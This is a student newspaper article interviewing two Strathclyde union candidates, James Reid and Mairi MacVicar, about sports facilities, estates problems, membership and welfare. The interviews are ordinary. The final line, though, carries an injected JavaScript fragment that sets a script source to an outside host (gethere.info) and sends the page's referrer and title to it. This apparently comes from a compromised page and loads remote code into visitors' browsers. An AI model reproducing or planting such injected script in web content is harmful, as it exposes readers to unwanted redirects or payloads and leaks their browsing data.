Strathclyde Telegraph

Vice-President Sports and Well-being candidates: James Reid and Mairi MacVicar

James Reid

 

 

 

 

 

 

 

 

What is the biggest challenge that Strathclyde students face and how would you tackle it?

I’d say the main issue that I’ve had to deal with revolve around the general student experience and the issues with University estates, whether that be timetabling or Wednesday afternoon classes, a lot of classrooms weren’t given out to students, so in week one, week two, people still didn’t know where their classes were going to take place, so timetabling is an issue under the estates bracket. Also, the upkeep of student halls, Brickbeck had a lot of problems over the Christmas period, some issues with water and heating. It’s good to see that the University is upgrading their halls at the moment but I do feel a little bit more is still to be done to improve. And finally, the biggest one for me is the new sports centre, which is a huge need for us in the Sports Union, and in the longer term, a new Union building, which is still in the pipeline but something that we’re making progress with. Certainly having been in the position already all year, the restrictions and limitations that we have in terms of need more facility hire, needing more time to train and compete, the facility that was meant to be delivered 2011-12 but has been pushed back and pushed back again, it has had a stunting effect of the development and growth of all of our teams. I know a lot of people who choose to come and visit the Sports Union but at the same time, I know a lot of students who just choose to go to Pure Gym instead to work out, that’s the University missing out on opportunities to increase their revenues. The delay of a new Sports Centre probably is the largest knock-on effect on what’s affecting students in my remit of Sports and Well-being. Generally, estates as a whole, as the umbrella topic, is probably the most urgent. We need to make sure that sitting on the estates committee, our voice is heard. It’s about developing a good working relationship with the principal, with a lot of good news in terms of membership and the successes of our sports teams, which can only strengthen our argument. So not necessarily turn up with a pitchfork but work with them and make them recognise that we’re doing the best with what we’ve got and if we want to do even better, we need better facilities. In the meantime, I’m really keen on working on ensuring that the University is willing to give out extra facility provisions, extra finance so we can hire external facilities, so we can deal with the pressures now. I’m also keen on further commercialising the Sports Union and looking to get as many sponsors as possible, because that money gets filtered down to all of our teams and all of those people who want to do sports, whether that be performance, recreational or competitive. For example, the badminton team had 70 people turn up to their first session and a lot of the people thought: ‘wow, this is crazy busy, I’m not coming back’, because there is literally no space for that amount of people. That is an opportunity lost because they’ve come along to the session, they’re past the barriers of entry for sport – money, feeling that they’re not good enough, which we’ve tried to tackle this year with Rock Up Sports Club and including our first disability sports session. Those aren’t the real barriers for people who are coming along to do the sport and then turning around and walking away because the facilities aren’t good enough. It’s a huge opportunity lost.

What would you bring to the position that the other candidate wouldn’t?

Continuity is one of the key things that I can bring to the role. This is the first time we’ve had a sports sabbatical role running for second year and that means there’s no learning curve, I can hit the ground running with planning for next year, ensuring that all captains are ready to go, ready to develop their club. Having this opportunity, we’ve built a team in the Sports Union now and there’s no upheaval, there’s no staff restructuring, no recruitment process, we can really, come September, achieve great things. I feel that we’ve achieved great things this year, we’ve had a great season, despite having the manic summer period this year, so I think having the entire summer to plan and co-ordinate a year going forward we can really kick forward and further improve the membership. The target for this year was to just maintain what we had the year before, because there had already been a significant increase to 1850 roughly, we’ve exceeded our own expectations and actually beat our own target. I’ve loved to role, so continuity, building on the successes of what we’ve had in the previous years is definitely the key factor in why I believe I am the best person for the role.

What has the Union executive done well this year and what could be improved on?

We’ve been on point with a lot of our campaigns. We’ve received external praise from other institutions saying that what we’ve run has been spot on, relevant and have embraced and engaged with students, some even say that more so than NUS Scotland. They’re doing things to tackle lad culture but we’re looking at it from a different aspect and make social changes without addressing the elephant in the room. It’s ideas like the big power turn off which made it to national media that has raised us into the spotlight, and I believe we’ve worked well as a team. There’s always room for improvement, I think one of those areas is, even though, we’ve run campaigns to raise mental health awareness, I would like to get a larger amount of engagement throughout the whole executive. One thing I would like to do in terms of physical well-being is introduce self-defence classes, basic street self-defence, Kraw Maga, that would tie in with the campaigns we’ve had on tackling rape culture, as a different angle to mental wellbeing. It’s a different are of wellbeing that we’ve not really addressed, so that’s something I would like to do from my personal perspective, under my remit. In the executive as a whole, we need to address more welfare issues. It’s not as if we’ve entirely overlooked it but it’s not really in one persons specific remit, so we need to sit down and decide how do we address it and who is going to take ownership. Welfare is a shared remit and that does not necessarily mean that we’re all going to focus on it, but at the same time, you don’t want a situation where one person is lumped with those issues on top of their other obligations of their role. That’s probably the main area of improvement for next year.

Mairi MacVicar

 

 

 

 

 

 

 

 

What is the biggest challenge that Strathclyde students face and how would you tackle it?

One of the massive issues is trying to get people to actually come and join sports. Sports can be seen as really cliquish and people get a bit worried about fitting in. It’s also about trying to get people involved that don’t want to participate in the competitive side of sports. So say, we have someone who thinks that they’re not good enough at volleyball, they think they cant join the club, but they can. There are tons of recreational sessions for all the clubs. I’m the captain of the equestrian club and people think that if they’ve never ridden a horse, they can’t come, but that’s not true at all. Everyone can come along and it’s really important to promote the recreational side of sport along with the competitive and that sports are welcoming and everyone can come along. That’s the only way the Sports Union will grow. If we get more recreational people, the numbers will grow and we will get more people involved.

What would you bring to the position that the other candidate wouldn’t?

I think if I was elected, I would bring something new and different to the role. Obviously, last year there were so much successes in the Sports Union and I do believe I could carry on those successes, having been club captain of the equestrians and being on the sports executive. I’d be able to maintain the successes of last year and build on them but also bring a fresh new perspective, so I would be able to make some change for the better.

What has the Union executive done well this year and what could be improved on?

I think the executive as a whole has managed to make the whole place a lot more welcoming. There’s been a lot of success, but we need to voice those successes to all of the students. A lot of people don’t know who the Union executive is, so I think we need to promote that a bit more. I know the Union has been really active on social media, but maybe we should focus on promotion in halls, on people in first year who don’t know anything about it. They’re more likely to get involved. We should be targeting people who don’t know the Union, instead of who already do, to the people who are in halls and to the people who are just considering coming into Strathclyde, from the very start so that more people can get involved from the beginning rather than getting involved in third year and realising that they’ve only got a couple more years left. Everyone at halls loves to join in, so we need to bring our activities closer to them.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;